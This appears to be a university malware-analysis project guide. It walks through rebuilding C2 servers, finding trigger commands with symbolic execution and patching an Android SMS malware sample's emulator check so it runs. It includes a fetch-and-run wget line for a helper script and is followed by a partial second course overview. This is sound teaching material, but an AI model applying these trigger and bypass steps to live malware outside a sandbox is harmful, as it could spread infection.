Summer 2025 Project Overview In this project, you will analyze malware samples on Windows, Linux, and Android. Your tasks include identifying behaviors, reconstructing C2 servers, and analyzing communication and attack patterns. Each stage includes 4–6 behavior-related questions.Part 1: Windows Malware (stage1.exe and stage2.exe) Use static and dynamic analysis with tools like Wireshark, Cuckoo Sandbox, and angr to capture traffic, find valid commands, and analyze behaviors such as file downloads and system changes.Part 2: Linux Malware (payload.exe) Analyze instruction traces to uncover communication points and attack logic using symbolic execution, loop detection, and custom scripts.Part 3: Android Malware (sms.apk) Use jadx and apktool to reverse engineer the app, uncover SMS-based C2 behavior, and bypass emulator checks to trigger hidden actions.Tutorials We provide step-by-step guides for tools like Wireshark, Cuckoo Sandbox, angr, and some customized tools at the end of this writeup. You are encouraged to use these guides to get started, but you’re also free to use your own methods.Submission Instructions1. Submit report.zip to Canvas under the Project 3 assignment. 2. Submit assignment-questionnaire.txt to Gradescope.Environment Setup Virtual Box Make sure to install/update to the latest version of VirtualBox ● https://www.virtualbox.org/wiki/DownloadsProject VM Setup Download the Virtual Machine (VM) ● https://www.dropbox.com/s/dnk6acztw9ewp83/Project%203.zip?dl=0 ● Unzip the file with 7zip with password: cs6262Open VirtualBox ● Go to File → Import Appliance ● Select the Project 3 Malware Analysis.ova file and import it ● For detailed information on how to import the VM, see: https://docs.oracle.com/cd/E26217_01/E26796/html/qs-import-vm.html ● VM user credentials ○ Username: analysis ○ Password: analysisNetwork configurations ● tap0: ○ Virtual network interface for Windows XP • IP Address: 192.168.133.101 ● br0 ○ A network bridge between Windows XP and Ubuntu ■ IP Address: 192.168.133.1 ● enp0s3 ○ A network that faces the Internet ■ IPAddress:10.0.2.15 (it varies with your VirtualBox settings)VM performance configuration suggestions ● Recommended set-ups ○ Option 1: 4 CPU cores + 4 GB RAM ○ Option 2: 2 CPU cores + 8 GB RAM ● VM version ○ Use 6.1.22 or any later version. ● Performance tips ○ Close all heavy applications on your host machine. ○ Turn off VM audio. ○ Adjust the display resolution in the hypervisor to 150%. ○ Set the VM’s resolution to 1280 x 1024. ○ If the VM freezes, simply reboot it. ● For Mac users only ○ Update to macOS Ventura 13.4.1 for better performance.VM setup suggestions ● For M Series Mac Users: ○ Install the latest version of UTM https://mac.getutm.app/ ○ Follow the instructions to import and set up the VM: https://docs.getutm.app/Miscellaneous VM Performance Tips ● Try lowering your screen resolution ● Save often! ● Avoid using a resource heavy IDE like IntelliJ, Eclipse etc. Lightweight alternatives include gedit, vim, emacs, Sublime Text, Visual Studio Code, nano, etc ● Most importantly, do / run only 1 task at a time. That means: ○ Run the Windows VM only when: ■ Sending commands to malware ■ Analyzing network traffic via Wireshark ■ Once done with those tasks, turn off the Windows VM. ○ Avoid running the windows VM when: ■ Running cuckoo analysis ■ Generating CFGs ■ Running Symbolic Execution – This is quite resource intensive, avoid doing other stuff to get this done quickly. (TIP: If this seems to be taking infinite memory/time, you’re mostly trying to reach an unreachable / invalid address! check your addresses!) ○ Try running the VM at a lower resolution (recommend at-least 1280×800, for legibility) – If you have a very high resolution on your host machine. You can do this in 2 ways: ■ VirtualBox Menu – View > Virtual Screen 1 > Resize to a x b ■ Ubuntu Menu – Type “Displays” > Change it there ○ Restart after a task / stage. This is mostly a last resort but restarting the VM after finishing a task/stage made everything feel really smooth, instead of trying to free memory etc. Just be sure to run ./reset in ~/tools/networks after each VM restart! ● Android malware only ○ Restarting after working on Stage 1, helps a lot. ○ If you still really feel your android emulator is slow you can add the following flags to the emulator command flags in ~/bin/run-emulator:-memory 2048 -gpu swiftshaderPart 1: Windows Malware (Stage 1 & Stage 2)1) InitializationUpdate the project 3 before begin ● Open a terminal ○ Ctrl+Alt+T, or select Terminal from the menu ● Run update script ○ ./update.sh ○ It will update any necessary files that are required for this project.Initializing the project ● Open a terminal ○ Ctrl+Alt+T, or select Terminal from the menu ● Run the initialization script ○ ./init.py ○ This will download stage1.exe into the ~/shared directory ● Check the type of file ○ $ file ● Unzip ○ unzip ○ password: infected○ After extraction, ensure the file is a valid executable● Important Note ○ Always verify the file type after downloading and unzip if needed.2) Malware Analysis WorkflowScenario You got a malware sample named stage 1.exe. Your task is to analyze it and uncover its behavior. How do you approach this? ● Static Analysis ○ Manual Reverse Engineering ○ Programming binary analysis ● Dynamic Analysis ○ Network behavioral tracing ○ Run-time system behavioral tracing(File/Process/Thread/Registry) ○ Symbolic Execution ○ FuzzingIn this scenario, you are going to analyze the given malware with tools that we provide. These tools help you perform static and dynamic analysis. (See the tutorial at the end of this document for how to use them.)Objective ● Identify the Command and Control (C2) server that the malware connects to. ● Understand how the malware communicates with the C2 server. ○ URL and Payload ● Discover the malicious activities carried out by the malware ○ Attack activitiesTasks ● Make sure that no malware traffic goes out from the virtual machine ○ However, allow updates (stage 2) and Linux payload downloads (stage 3) ● Since the original C2 server is dead, you will need to reconstruct it. ○ Use provided tools to rebuild the server and uncover hidden malware functions ● Analyze: ○ Network traffic on the host, and figure out the list of available commands for the malware ○ Network traffic and program trace of the host, and figure out what malware does ● The questions are in assignment-questionnaire.txt. Read them and write down your answers there.Secure Experiment Environment ○ Encrypting your file during a ransomware analysis ○ Infecting machines in your corporate network during a worm analysis ○ Creating a tons of infected bot client in your network during a bot/trojan analysis ● The solution ○ Use a Virtual Machine (VM) and Virtual Network ○ Apply strict network rules to control malware traffic ○ Provide a Windows XP VM as a safe testbed (See tutorials for setup and usage)Network Behavior Analysis Tools (all tools for this and later analysis are pre-installed, see tutorials on how to use) ● Wireshark – Network Protocol Analyzer ● Cuckoo – Capturing & Recording inbound/outbound network packets What you are looking for ● What kind of messages is the malware trying to send? ● Where is it trying to send them? ● What does the message format look like?Tracing Analysis – What the malware might do when it gets commands Tools ● Cuckoo ● Procmon (in ProcessMonitor folder of windows testbed VM) What you are looking for ● What System calls or APIs does the malware use? ● Does it create, read, or write any files? ● Does it modify registry entries?CFG Analysis – How the malware is structured Tools ● Cuckoo ● CFG tools What you are looking for ● Which code paths exist, and how different functions and decisions are connected. ● Identify where the malware interprets incoming commands and initiates malicious actionsSymbolic Execution – What to send from fake C2 server to make the malware react Tools ● symbolic executor and solver Workflow ● Instead of feeding real inputs, you use symbolic variables. ● Symbolic execution walks the CFG, collecting constraints at each decision point. ● Finally, it solves these constraints to find a real command string that would drive the malware into executing a target function.Reconstruct C2 Server ● After CFG analysis + symbolic execution, reconstruct the C2 server ● The tool for reconstructing the C2 server is already on the VM ● It runs nginx and php script ○ This will look like ~/tools/c2-command/stage*-command.txt ○ Your job is to add your commands to the relevant *.txt file ■ The command that leads the execution from 405190 to 40525a is ■ Important: be sure to put the ‘$’ character before your commands, even if stage* – command.txt says that it’s optional ■ The order of commands in the file does not matter – they’ll run in a random order ● Note: This means that if you want to run only a particular command, you’ll need to remove, or comment out the other commands in your file3) Stage 2After stage 1 ● If you find all of the commands for stage1.exe malware, the malware will download stage2.exe by updating itself. ● Now you’ve found the commands from running sym-exec.py ● Add those commands to stage1-commands.txt. Remember to put $. ● Start up the windows VM again, then copy stage1.exe to the desktop. Then double click on it and continue. ● Note if stage1 fails to download stage2, your firewall might be blocking it ○ This is actual malware so some IDS have signatures that match it.Stage 2 ● For stage2.exe, please follow the same steps in the tutorial ● Check its network access with Wireshark ● Redirect network traffic to if required (if the connection fails) ● Try to identify malicious functions by editing score.h and using the cfg-generation tool ● Discover the list of commands using the symbolic execution tool ● Fill the commands in ~/tools/c2-command/stage2-command.txt ● Run it as mentioned before. Part 2: Linux Malware (Stage 3 – payload.exe)Workflow ● First copy the linux malware into a shared folder. The tools which you will use are installed inside the Linux host. ● ~/tools/sym-exec/linux_sym_exe.py ○ for linux malware symbolic execution ○ python linux_sym_exec.py path_to_linux_mw start target ○ To make it work, you need to modify two linux_sym_exec.py functions ■ targs_len_before and opts_len_before ● ~/tools/dynamicanalysis/ ○ instrace.linux.log : the dynamic instruction trace for the linux malware ○ detect_loop.py : you can modify this file to find the loop in the given trace ○ Usage: python detect_loop.py ● Run ‘python linux_sym_exec.py path_to_linux start target’. ● It won’t be able to find any input because of path explosion. You need to add constraints to make symbolic execution targeted ● Follow the steps in assignment- questionnaire.txt and find the inputs. ● Analyze the dynamic instruction trace and locate the C&C communicationWe provide tutorials based on angr and radare2. Other Tools: ● You don’t have to use Radare2. ○ objdump ○ IDA-Pro (Disassembly tool with GUI) (Free version) ■ https://www.hexrays.com/products/ida/support/download_freeware.shtml ○ Cutter (GUI for the radare2) ■ https://www.radare.org/cutter/ ■ https://github.com/radareorg/cutterPart 3: Android Malware (sms.apk)Scenario ● Analyzing Android Malware ○ You have received a malware sample sms.apk. ○ You need to identify communication with the C&C server ○ Identify anti-analysis techniques being used by the app. ○ Identify commands that trigger any malicious behavior.Structure ● Android emulator ○ An emulator for Android 4.4 is pre-installed ■ Run ‘run-emulator’ ● This will start the Android emulator (this takes along time, especially the first time you start it) ○ Jadx ■ Disassembles apk files into Java source code. ■ Run ‘jadx-gui’ ● Choose the apk file to disassemble ● Apktool ○ Disassembles apk file into Smali. ○ Rebuilds apk files. ● Android App ○ ~/Android/MaliciousMessenger/tutorialApps ■ Emu-check.apk ● A tutorial example (Shown as ‘My application’ in the emulator) ○ CoinPirate.apk ■ Another tutorial example ● ~/Android/MaliciousMessenger/sms.apk ○ Target app to analyze to answer the questionnaireApproach Overview ● Manifest Analysis ○ Identifying suspicious components ● Static Analysis ○ Search for C&C commands and trigger conditions ○ Vet the app for any anti-analysis techniques that need to be removed ● Dynamic analysis ○ Leverage the information found via static analysis to trigger the malicious behavior. ● A cheatsheet is provided in the tutorial sectionManifest Analysis ● Identify suspicious components ○ Broadcast receivers registering for suspicious actions. ○ Background services ● Use jadx ○ Inspect AndroidManifest.xml ● Narrow the scope of analysis ○ Malicious apps are repackaged in benign apps with thousands of classes. ○ Example: Broadcast receiver from CoinPirate’s malware familyStatic Analysis ● Search for C&C commands and trigger conditions ● Use jadx ○ Check resources.arsc for string values of the messages https://github.com/skylot/jadx/issues/2373● Identifying Anti-analysis techniquesStage 1 Question 4.5.1 (5 points) ● Run the command ./start_server in ~/Android/MaliciousMessenger/ and verify the server is active. ● Start the Android emulator. ● Use the People app that is preinstalled to add a contact to the device. The name of the contact should be your GT username (e.g. JDoe2). ● Open the app that is named Messenger (not Messaging). This is the app installed from the sms.apk. ● The server will ask you if your GT username is correct. If so, press ’y’ and you will receive the first answer. ● Answer Format: You need to copy & paste the string between the answer tags. For example, if the output was < answer > 1234 < /answer >, your answer would be 1234. You should follow this answer format for all answers you receive from the server. ● After receiving your answer for this question, you can turn off the Android emulator and server. They will not be needed until later on. The remaining part of Stage 1 will be using JADX to analyze the sms.apk’s source code.Question 4.5.2 (10 points) ● Question: What is the name of the component that is used for communicating with the C&C server? ● Answer Format: If the correct component was the receiver described below, the answer would be com.android.AReceiver.Question 4.5.3 (20 points) ● Using SMS as a protocol for a C&C server is an important design decision that is different from traditional IP-based approaches known from infected PCs. The main advantages of an SMS-based approach instead of IP-based are the fact that it does not require steady connections, that SMS is ubiquitous, and that SMS can accommodate offline bots easily. sms.apk is leveraging SMS to receive commands from its C&C server, you need to identify them. ○ Question: When sms.apk receives a text message, it checks to see if the message matches a command. What are the commands? ○ Answer Format: A list of commands (sms bodies) sms.apk receives from its C&C server. The list should be separated by end lines (one command per line). ● At this point we should have enough information to trigger the malicious behavior. The C&C server can be started by running ./start server from the command line. Start the server and send the necessary text messages. Unfortunately, no malicious behavior will be exhibited. This is because the malicious app has placed anti-analysis techniques into the app to prevent analysis. Our next goal will be to find them and see if we can emulate these triggers or remove them.Question 4.5.4 (20 points) ● The Android/BadAccents malware contains two specific checks on the incoming SMS number. It checks for ‘86’ and ‘82’ numbers, which indicates that the malware expects SMS from a C&C SMS server either located in China or South Korea. It seems the app we are inspecting does something similar. ○ Question: What country code does sms.apk require the incoming text message to have before the malicious behavior will be triggered? ○ Answer Format: The country code required to trigger the commands (hint: If you believe you’ve located the correct spot but your answer is still incorrect, double-check how the ending index of a substring is defined in Java: https://www.geeksforgeeks.org/substring-in-java/).Stage 2From Stage 1, we know the required country code and the necessary commands to trigger the malicious behavior. However, even if we send the correct commands with the correct country code, sms.apk will still not exhibit any malicious behavior. To maximize the longevity of malware, malicious developers aim to prevent analysis. Since the majority of dynamic analysis frameworks are based on emulation, these developers often integrate anti-analysis techniques to alter an app’s behavior. If an app detects that it is running in an emulated environment rather than on a real device, it will behave differently to avoid appearing suspicious. For Stage 2, we will attempt to identify how sms.apk detects whether it is running on an emulator. Then, we will modify sms.apk to remove this check and successfully trigger the malicious behavior.Question 4.6.1 (15 points) The most basic form of emulation detection is when a malicious app leverages a static heuristic. Static heuristics are pre-initialized values that provide information about the underlying environment. Apps running on a system can check these static heuristics by calling Android APIs. For many of these values, the emulator will return results that are inconsistent with what would be expected on a real device. For example, if the TelephonyManager.getDeviceId() API returns all 0’s, the device in question is likely an emulator. This is because such a value cannot exist on a physical device. ● Question: sms.apk is leveraging an Android API to identify whether the underlying environment is emulated. The return value of the API provides sms.apk with a static heuristic about the emulated environment. sms.apk compares the returned value to a hard-coded string. What is the value of this string? ● Answer Format: The value of the string that the static heuristic is being compared to. For example, if emulation check = “01234” your answer would be 01234.Question 4.6.2/3/4 (30 points) The final question requires you to first modify sms.apk and remove the environment check so that we can run sms.apk on an emulator, and then send the commands found in Stage 1 to the emulator and observe whether it exhibits malicious behavior. Upon success, the C&C server will generate the final answers. ● Question: What are the strings the C&C server provides you with when you dynamically trigger the malicious behavior in sms.apk? ● Answer Format: For each command sent to sms.apk, the C&C server will print out a string. The answer will be a list of strings, one for each command. In your questionnaire, place each string on a separate line.If you have no previous experience modifying APKs, it’s recommended that you start by removing the emulation check from emu-check.apk before working on sms.apk. ● You will need to modify sms.apk so that it triggers its malicious behavior while running on an emulator. ● Note: The modification required is extremely small. If you find yourself modifying more than a few characters, you are likely going in the wrong direction. ● If you have the correct answers from the previous steps, start up the server using the command ./start_server. Once the server has started, trigger the malicious behavior by sending it commands. If successful, the server will return an answer for each respective command (the order does not matter). Copy and paste each answer into your report.Submission Instructions Required files ● Zip the following files and upload report.zip to Canvas (Modifying score.h is not required. Submitting it unmodified is fine.) ○ Running ~/archive.sh will automatically zip all of the files ■ ~/report/assignment-questionnaire.txt ■ stage1.exe, stage2.exe, payload.exe (linux malware) ■ ~/tools/network/iptables_rules ■ ~/tools/cfg-generation/score.h ● Running ~/archive.sh will create report.zip automatically. ○ Please check the content of your zip file before submitting it to Canvas ● Submit ‘assignment-questionnaire.txt’ to Gradescope. ● Submit report.zip to Canvas under Project3 Assignment. ● Important: ○ Missing report.zip on Canvas will result in a zero for the project. ○ Late assignment-questionnaire.txt submissions (before the regrading period ends) incur a 5-point deduction.Rubrics ● The value for each max score is within its particular section ○ Windows has 110 possible points ○ Android has 100. ○ As each section is worth an equal amount of your overall P2 grade, we normalized the Windows score by dividing by 1.1 (and rounded up), then averaged it with the Android score to get your final grade. So effectively, each point in the table above is worth half a point of your final project grade (slightly less for Windows). ● If the Partial Credit column is blank, there is no partial credit for the question. “Ratio” refers to Levenshtein ratio, it’s a metric of similarity between strings.Tutorials All tools mentioned in the tutorials are pre-installed in the VM!Windows Testbed ● Run Win XP VM ○ Run Windows XP Virtual Machine with virt-manager ○ Open a terminal ○ Type “virt-manager” and double click “winxpsp3” ○ Click the icon with the two monitors and click on “basecamp” ○ Right click on basecamp, and click “Start snapshot.” Click Yes if prompted. ○ Once, virt-manager successfully calls the snapshot, click Show the graphical console. ■ Click on the Windows Start Menu and Turn off Computer. ■ Then select Restart ○ DO NOT MODIFY OR DELETE THE GIVEN SNAPSHOTS! ■ The given snapshots are your backups for your analysis. ■ If something bad happens on your testbed, always revert back to the basecamp snapshot.Copy from Shared Directory ● Go to the shared directory by clicking its icon (in Windows XP) ○ Copy stage1.exe into Desktop ○ If you execute it in the shared directory, the error message will pop up. Please copy the file to Desktop. Run the malware ● How to Run ○ Double-click stage1.exe to execute it. ○ When prompted with “Executing Stage 1 Malware”, click OK. ○ Click OK on every dialog box that appears to allow the malware to continue running. ○ If you do not respond to the dialogs, the malware execution will be blocked.● How to Stop ○ Open the temp directory. ○ Execute stop_malware. ○ Always stop the currently running malware before executing another malware file.Wireshark ● Setting up Wireshark ○ Wireshark is pre-installed in the project VM. ○ Run with sudo ○ Open Wireshark and start capturing traffic on the network bridge interface. ○ Always run Wireshark with root privileges for proper network capture. ○ Focus on monitoring traffic to and from IP address 192.168.133.1 (the fake C2 server). ● Redirecting network connections ○ By default, the malware tries to connect to the dead C2 server at 128.61.240.66. ○ To redirect traffic to your fake C2 server (192.168.133.1): ■ Open a terminal and go to ~/tools/network ■ Edit the iptables_rules file to redirect traffic: ● From: 128.61.240.66 ● To: 192.168.133.1 ■ Apply the updated firewall rules: ● ./reset ● If you reboot your project VM, you must rerun ./reset to reapply the firewall settings!● Reading C2 Traffic in Wireshark ○ After redirection, the malware will start communicating with your fake C2 server. (However, it won’t execute because the command is still wrong.)○ To view the communication: ■ right-click on a relevant network packet ■ select Follow → TCP StreamCuckoo Analysis ● What is Cuckoo? Cuckoo Sandbox is a tool that shows you what the malware is doing in a safe environment. You don’t need it to finish the project, but it can make analysis easier and help you find clues for modifying your score.h file later. ● Important note ○ Always shut down the Windows XP testbed VM before starting Cuckoo. Running both at the same time can corrupt the malware download, and you will need to start from the very beginning. ● How to start? ○ Open two terminal windows ○ In both terminals, type the following command to activate the Cuckoo virtual environment (set virtualenv as cuckoo) ■ workon cuckoo ○ In Terminal 1, start Cuckoo in debug mode ■ cuckoo -d ○ In Terminal 2, start the Cuckoo web interface ■ cuckoo web ○ Reference: Malware Analysis using Cuckoo SandboxTroubleshooting ■ If you get an error about port 8000 already in use, fix it by running ● sudo fuser -k 8000/tcp ■ Then restart the web server with cuckoo web. ○ Snapshot ■ Cuckoo uses a saved snapshot 1501466914 of your testbed VM. ■ No need to start it manually. ■ Do NOT modify or delete this snapshot!● Upload a file to Cuckoo ○ Open Chromium and go to: http://localhost:8000 ○ Click the blue arrow to upload a file (stage1.exe).○ After uploading, click Analyze.● Tracing Analysis on Cuckoo On the side bar, there are useful menus for tracing analysis. ■ We are focusing on: ● Behavioral Analysis ○ Trace behaviors in time sequence ● Static Analysis ○ API/System Call ● Behavior analysis ○ Tracing a behavior(file/process/thread/registry/network) in time sequence. ○ Useful to figure out cause-and-effect in process/file/network. ○ Malware creates a new file and runs the process, then writes it to memory.● Static Analysis ○ Information about the malware. ○ Win32 PE format information ■ Windows binary uses the PE format ■ Complicated structure ■ Sections includes ● .text ● Strings, etc. ● .data ● .idata ● .reloc ○ More information: Malware researcher’s handbook (demystifying PE file) ○ Interestingly three DLL(Dynamic Link Libraries) files are imported. ○ In WININET.dll, we can see that the malware uses http protocol. ○ In ADVAPI32.dll, we can check if the malware touches registry files ○ In Kernel32.dll, we can check the malware waiting signal, also sleep.● Cuckoo analysis result ○ The malware touches(create/write/read) a file/registry/process ■ This might be a dropper? Or does it download a binary from the C2 server? ■ What is the purpose of creating processes? Modifying the registry? ○ The malware uses HTTP protocol to communicate ■ Communicate with whom? C&C? ■ Web server access? For checking if the C2 server is active? ■ Commands through http protocol? Cookies?Control Flow Graph Analysis ● CFG: ○ graph representation of computation and control flow in the program ○ Nodes are basic blocks ○ Edges represent possible flow of control from the end of one block to the beginning of the other. ○ An example○ But, in malware analysis, we are analyzing CFG at the instruction level. We provide a tool for you that helps to find command interpretation logic and malicious logic ■ We list the functions of system calls the malware uses internally ■ If you provide the score (how malicious it is, or how likely the malicious logic is to use such a function) for the functions, then the tool will find where the malicious logic is, based on its score ● Example: if you set StrCmpNIA to have a score of 10, then the function that calls StrCmpNIA 5 times within itself will have the score 50. ● A higher score implies that more functions related to the malicious activity are used within the malware. ■ Your job is to write the score value per each function ○ More info http://www.cs.cornell.edu/courses/cs412/2008sp/lectures/lec24.pdf ○ From our network analysis, we know that the malware uses an Internet connection to 128.61.240.66 ○ From our cuckoo-based analysis, we know that the malware uses the HTTP protocol. ○ Moreover, it uses some particular functions to communicate and stay in touch with the command and control server. ○ Modify the score values for these particular functions in order to generate a better CFG – for proper analysis. ○ Find the file to be edited – score.h. ○ Path: /tools/cfg-generation/score.h ○ Build control flow graph ■ By executing ./generate.py stage1, the tool gives you the CFG ● This finds the function with higher score ○ Implies that this calls high score functions on its execution ■ For stage2 ● Use ’stage2’ as argument ○ Note: your graph and its memory addresses will vary from this example ○ The function entry is at the address of 405190 ■ And, there is a function (marked as sub) of score 12 ● At the address 40525a (marked in red) ● Use the block_address, not the call sub_address ■ This implies that ● sub_4050c0 calls some internet related functions. ● We need to find out what this command is ○ Run from 405190 to 40525aSymbolic Execution ● Finding Commands with Symbolic Execution ○ We want to find a command that drives malware from 405190 to 40525a ■ Let’s do symbolic execution to figure that out ● What is symbolic execution? ○ Rather than executing the program with some input, symbolic execution treats the input data as a symbolic variable, then tries to calculate expressions for the input along the execution. ○ Symbolic execution moves along the path of conditional statements, and combines all conditions until it reaches the target function. At the end, it solves the expression to get an input that satisfies all of the conditions ○ Path explosion ○ Modeling statements and environments ○ Constraint solving ● Example 1○ In this example, ONLY i=2, j=9 conditions will lead the program to print “Correct!” ○ Symbolic execution is available to solve the expression in order to reach a target, in this case ”Correct”. ○ Let’s apply it to Malware Command & Control logic. A C&C bot(malware) is expecting inputs(solve the expressions) to trigger behaviors(targets).● Example 2○ This executes attack() on command ‘launch-attack’, and destroy_itself() on ‘remove’ command ○ In this example, ONLY ‘launch-attack’ and ‘remove’ commands(inputs) triggers attack() and destroy_itself(). ○ Symbolic execution is able to find ”launch-attack” as an input to trigger attack(), which is a malicious behavior. Plus, ”remove” will lead to destroy_itself(), which is another behavior. ○ Our job in this project with Symoblic execution is to find inputs, and then feed the inputs to trigger behaviors. ● Symbolic execution engine ○ Klee, Angr, Mayhem, etc. ○ Loading a binary into the analysis program ○ Translating a binary into an intermediate representation (IR) ○ Translating that IR into a semantic representation ○ Performing the actual analysis with symbolic execution ○ For more information: https://www.cs.umd.edu/~mwh/se-tutorial/symbolicexec.pdf ● Finding Commands with Angr ○ We prepared a symbolic executor and a solver for you ■ Your job is to find the starting point of the function which interprets the command, and find the end point where malware actually executes some function that does malicious operations ● Use a Control-flow Graph (CFG) analysis tool! ■ The symbolic executor is called angr (http://angr.io/index.html) ○ We prepared a symbolic executor and a solver for you. ○ How do you run it? ■ Go to ~/tools/sym-exec ■ Run it like python ./sym_exec.py [program_path] [start_address] [end_address] ■ Replace the (above) start and end addresses from your CFG graph. python ./sym_exec.py ~/shared/stage1.exe 4050c0 40518a ■ The command will be printed at the end (if found)Angr Tutorial ● SimState ○ While angr perform symbolic execution, it stores the current state of the program in the SimState objects. ○ SimState is a structure that contains the program’s memory, register and other information. ○ SimState provides interaction with memory and registers. For example, state.regs offers read, write accesses with the name of each registers such as state.regs.eip, state.regs.rbx, state.regs.ebx, state.regs.ebh ○ Creating an empty 64 bit SimState● Bitvectors ○ Since we are dealing with binary files, we don’t deal with regular integers. ○ In a binary program, everything becomes bits and sequences of bits. ○ A bitvector is a sequence of bits used to perform integer arithmetic for symbolic execution. ○ Creating some 32 bit bitvector values ○ state.solver.BVV(4,32) will create 32 bit length bitvector with value 4 ○ We can perform arithmetic operations or comparisons using the bitvectors● Symbolic Bitvectors ○ state.solver.BVS(’x’, 32) will create a symbolic variable named x with 32 bit length ○ Angr allows us to perform arithmetic operations or comparisons using them.● Registers ○ State provides access to the registers through state.regs.register_name where register_name could be rcx, ecx, cx, ch and cl. Same applies to the other registers. ○ Look at the types of registers — they are bit vectors ○ Look at the length of registers examined below – they are all symbolic bitvector because they are not initizlized yet.○ For cl, ch, cx and ecx they are all part of rcx. ○ You can compare the length and the location of cl, ch, cx, ecx and rcx in angr with the actual architecture depicted below.● Constraints ○ In a CFG, a line like if ( x > 10 ) creates a branch. Please look at the Symbolic Execution Concepts tutorial. ○ Assuming x is a symbolic variable, this will create a 4> when the True branch is taken for the successor state. ○ For the false branch, negation of a 4> will be created.○ Adding a constraint to a SimState■ Cl register equals to 11 ■ state.add_constraints(state.regs.cl == 11) ■ state.add_constraints(state.regs.cl == state.solver.BVV(0xb, 8) since state.solver.BVV(0xb, 8) equals to 11 ■ You can see their effect is the same for SimState in the example below.Radare2 Tutorial ● Start ○ Launch radare2 with $ r2 ~/shared/payload.exe ○ Then type aaa which will analyze all (functions + bbs)○ afl list all functions○ afl lists all the functions which are hard to analyze. ○ afl~name grep the list of functions with given name ○ afl~attack will list all the functions having attack○ You can use linux commands while inside the r2 console such as grep. ○ On the right side, you can see all the functions having the attack vector (afl~send) ○ Using those api calls, this linux malware performs DDoS attacks based on the commands they receive from C&C server. ○ The example below shows how to find all the attack vectors calling sym.send/sym.sendto ○ Now, we have to iterate all the attack functions on the right. For example, the example below shows three attack functions, and only one of them is called. Our focus is the call sym.attack_????? functions.○ Let’s analyze the example below. ○ axt sym.attack_app_http has only one reference which is a push instruction. This is not the attack function we are interested in. ○ axt sym_attack_app_cfnull has no reference at all. This is not the attack function we need to explore. ○ axt sym_attack_???? Is one of the functions listed on the right example, and have call sym.attack_????? Instruction. That is the function we need to explore more to determine the target address for the symbolic execution. ○ You need to find 2 attack functions. ● After finding the attack function, we can determine the target address. ○ First, step into the function using s sym.attack_????. ○ Second, pdf | grep sym.send or pdf | grep sym.sendto to determine the instruction address ○ Third, s address_for_call_sym.send(to) to point to the instruction which is call sym.send or sym.sendto ○ Lastly, print 2 instructions starting with the call sym.send/sym.sendto instruction ○ The address of the instruction which is the successor of call ○ sym.send(to) is the target address for the symbolic execution.● For more information : ○ https://github.com/radare/radare2 ○ https://www.radare.org/get/THC2018.pdfAndroid CheatsheetStart Emulator~/bin/run-emulatorAdd Contact The sleeps are needed to allow a slow emulator time to process.adb shell “am start -a android.intent.action.INSERT -t vnd.android.cursor.dir/contact -e name ‘GatechID'” sleep 1 adb shell input keyevent 4 sleep 1 adb shell input keyevent 4 Android Logadb logcatFiltered LogThe adb tool has no way to filter by app, fortunately there’s a script that’ll do just that. Get the script and make it executable (review it before running something off the internet)wget -O ~/bin/pidcat.py https://raw.githubusercontent.com/JakeWharton/pidcat/master/pidc at.py chmod +x ~/bin/pidcat.py ~/bin/pidcat.py com.smsmessengerDecompile APK Note: Omitting the !@#$% option allows it to decode the resources as well as the smali code.apktool decode ~/Android/MaliciousMessenger/sms.apk –output ~/Android/MaliciousMessenger/smsBuild Modified APKapktool build ~/Android/MaliciousMessenger/sms –output ~/Android/MaliciousMessenger/sms_modded.apkSign Modified APK~/bin/signer.py ~/Android/MaliciousMessenger/sms_modded.apkUninstall APKadb uninstall com.smsmessenger Install Modified APKadb install ~/Android/MaliciousMessenger/sms_modded.apkLaunch the App The app will not be active until you run it at least once after re-installation — spent a bunch of time banging my head against the wall until I figured this one out.adb shell monkey -p com.smsmessenger -candroid.intent.category.LAUNCHER 1Send an SMS Use single quotes or you’ll need to escape the message contents. Note: I didn’t test with emojis!adb emu sms send 8675309 ‘ Jenny Ive called your number…’
CS8803 – O11 Overview ● Goal ○ Analyze real world malware samples and reveal their hidden/true behaviours which normally you don’t see without triggering properly. ● Learning Objectives: ○ Reverse Engineering ■ Manual Binary Reversing through Disassemblers (e.g. Ghidra, Radare2, IDA Pro) ○ Static Analysis ■ Programmatic binary analysis (e.g. data-flow analysis, VSA analysis.) ○ Symbolic Analysis ■ Performing symbolic execution to figure out the whole input or partial of the input ○ Dynamic Trace Analysis (User-level Activity Traces) ■ API Trace (e.g. File, Process, Registry, Network etc. related API trace) ■ BasicBlock Trace (Address of the basic blocks executed while malware is running) ○ Dynamic Binary Instrumentation ■ Manipulating concrete execution using DBI tools (e.g. DynamoRIO) Please don’t run the malware on your own computer! We are not responsible if you do. Only execute it inside the Windows VM we are provided. These are real world malware samples. Task Description ● You have 3 real world malware to analyze. Your boss wants you to analyze them and write a report within two weeks, and your colleagues are waiting for your results to adjust defense mechanisms to IDS. ● As a malware analyst, to build a strong defense mechanism, your job is to try to reveal all of the behaviours as much as you can. However, most of malware (especially C2-based malware) are only revealed hidden behaviors when the proper inputs (e.g. commands from C2-server) are provided. ● Now, you are going to analyze the three real malware samples with your best weapons (the tools we provide). You are going to perform: ○ Static analysis and reverse engineering on them to find where the triggering logic (e.g. CMD dispatching logic) is located. ○ Symbolic execution to figure out the commands that will trigger hidden behaviors ○ Dynamic binary instrumentation to manipulate execution paths to trigger the hidden behaviors and to collect traces that are corresponding to the behaviors. Agenda ● Part 1: Analyze malware1.exe(mydoom1.exe) malware which is similar to previously analyzed malware. Trigger the malicious behaviours and observe the effects on the OS. (60 pts) ○ Skills : ■ Reverse Engineering, ■ Static Analysis ■ Symbolic Analysis ■ Limited Dynamic Analysis Agenda ● Part 2: Analyze malware2.exe(win33.exe) malware which is new to your company. Trigger the malicious behaviours and observe the effects on the OS. (30 pts) ○ Skills ■ Reverse Engineering, ■ Static Analysis, ■ Symbolic Analysis ■ Extensive Dynamic Trace Analysis ■ Dynamic Binary Instrumentation and Execution Modification Agenda ● Part 3: Analyze one newly discovered complex malware(unknown.exe) and figuring the CMD Dispatching Logic without having prior investigation. ○ Static Analysis (analyze 10 functions) (10 pts) ■ Reverse Engineering ● Bonus: Perform further sophisticated analysis and reveal the malware behaviour: ○ Detecting whole or part of the input (5 pts) ■ Reverse Engineering ■ Symbolic Analysis ○ Triggering the malicious behaviour and observe the OS interaction (5 pts) ■ Dynamic Binary Instrumentation ■ Dynamic Trace Analysis Note: Even if you can’t figure out any part of the malware, you can still include any meaningful efforts of revealing the behavior of the malware. We will assign credit accordingly. High-level Workflow ● Your company has a static analysis tool leveraging Ghidra (developed by the NSA) to detect the important logic such as CMD Dispatching logic which is responsible for determining which malicious behaviour to perform.However, this tool only produces some candidate functions, ● Your first task is to perform Reverse Engineering using 